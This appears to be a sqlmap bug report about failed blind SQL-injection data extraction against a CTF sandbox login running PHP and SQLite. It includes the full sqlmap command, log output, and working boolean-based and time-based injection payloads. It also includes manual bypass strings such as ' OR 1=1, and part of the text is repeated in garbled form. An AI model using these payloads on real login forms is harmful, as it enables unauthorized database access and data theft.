What's the problem (or question)?
sqlmap is failing to perform blind SQLi data extraction.
Logs
sqlmap -u 'http://ctfq.sweetduet.info:10080/~q6/' --data "id=admin&pass=letmein" -p pass --level 3 --risk 3 --dump-all -t $PWD/traffic.txt
___
__H__
___ ___[)]_____ ___ ___ {1.1.8#stable}
|_ -| . ["] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:56:13
[19:56:13] [INFO] setting file for logging HTTP traffic
[19:56:13] [INFO] testing connection to the target URL
[19:56:13] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[19:56:13] [INFO] testing if the target URL is stable
[19:56:14] [INFO] target URL is stable
[19:56:14] [WARNING] heuristic (basic) test shows that POST parameter 'pass' might not be injectable
[19:56:14] [INFO] testing for SQL injection on POST parameter 'pass'
[19:56:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:56:14] [WARNING] reflective value(s) found and filtering out
[19:56:16] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[19:56:17] [INFO] POST parameter 'pass' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="is")
[19:56:17] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (3) value? [Y/n]
[19:56:23] [INFO] testing 'SQLite inline queries'
[19:56:23] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[19:56:23] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[19:56:23] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[19:56:23] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[19:56:50] [INFO] POST parameter 'pass' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable
[19:56:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:56:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:56:51] [INFO] target URL appears to be UNION injectable with 2 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[19:56:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[19:56:53] [INFO] testing 'Generic UNION query (41) - 21 to 40 columns'
[19:56:54] [INFO] testing 'Generic UNION query (41) - 41 to 60 columns'
[19:56:55] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[19:56:55] [INFO] checking if the injection point on POST parameter 'pass' is a false positive
POST parameter 'pass' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 167 HTTP(s) requests:
---
Parameter: pass (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=admin&pass=-7779' OR 4850=4850-- yTrW
Type: AND/OR time-based blind
Title: SQLite > 2.0 OR time-based blind (heavy query)
Payload: id=admin&pass=letmein' OR 2120=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))-- wMZl
---
[19:56:58] [INFO] the back-end DBMS is SQLite
web server operating system: Linux CentOS 6.8
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: SQLite
[19:56:58] [INFO] sqlmap will dump entries of all tables from all databases now
[19:56:58] [INFO] fetching tables for database: 'SQLite_masterdb'
[19:56:58] [INFO] fetching number of tables for database 'SQLite_masterdb'
[19:56:58] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:56:58] [INFO] retrieved: 1
[19:56:58] [INFO] retrieved: user
[19:56:59] [INFO] retrieved:
[19:57:00] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[19:57:01] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[19:57:02] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[19:57:02] [WARNING] unable to enumerate the columns for table '"user"' in database 'SQLite_masterdb'
[19:57:02] [INFO] fetched data logged to text files under '/home/ishitatsuyuki/.sqlmap/output/ctfq.sweetduet.info'
[*] shutting down at 19:57:02
A traffic capture is also attached. traffic.txt
Guessed cause
I suspect it's relying on commands that are not available in old SQLite. No, tested locally with backported SQLite and same results.
I couldn't verify it because the server just denies access on any SQL error and I wasn't possible to fingerprint the version. As the page source is available (see below), it may be possible to compare with local results and determine which statement is causing problem.
How can we reproduce the issue?
The target server is http://ctfq.sweetduet.info:10080/~q6/, which is a CTF sandbox.
Once the injection succeeds (e.g. with pass=' OR 1=1), a successful message is shown along with the code of the page. The application is using PHP PDO with SQLite.
What are the running context details?
- Installation method: Arch Linux Package
- Program version: 1.1.8
- Hand built 1.1.9, also failed.
- Target DBMS: SQLite
- Detected WAF/IDS/IPS protection: None
- SQLi techniques found by sqlmap: boolean-based, time-based
- Results of manual target assessment (e.g. found that the payload
query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV works): Works
What's the problem (or question)?
sqlmap is failing to perform blind SQLi data extraction.
Logs
A traffic capture is also attached. traffic.txt
Guessed cause
I suspect it's relying on commands that are not available in old SQLite.No, tested locally with backported SQLite and same results.I couldn't verify it because the server just denies access on any SQL error and I wasn't possible to fingerprint the version. As the page source is available (see below), it may be possible to compare with local results and determine which statement is causing problem.
How can we reproduce the issue?
The target server is http://ctfq.sweetduet.info:10080/~q6/, which is a CTF sandbox.
Once the injection succeeds (e.g. with
pass=' OR 1=1), a successful message is shown along with the code of the page. The application is using PHP PDO with SQLite.What are the running context details?
query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLVworks): Works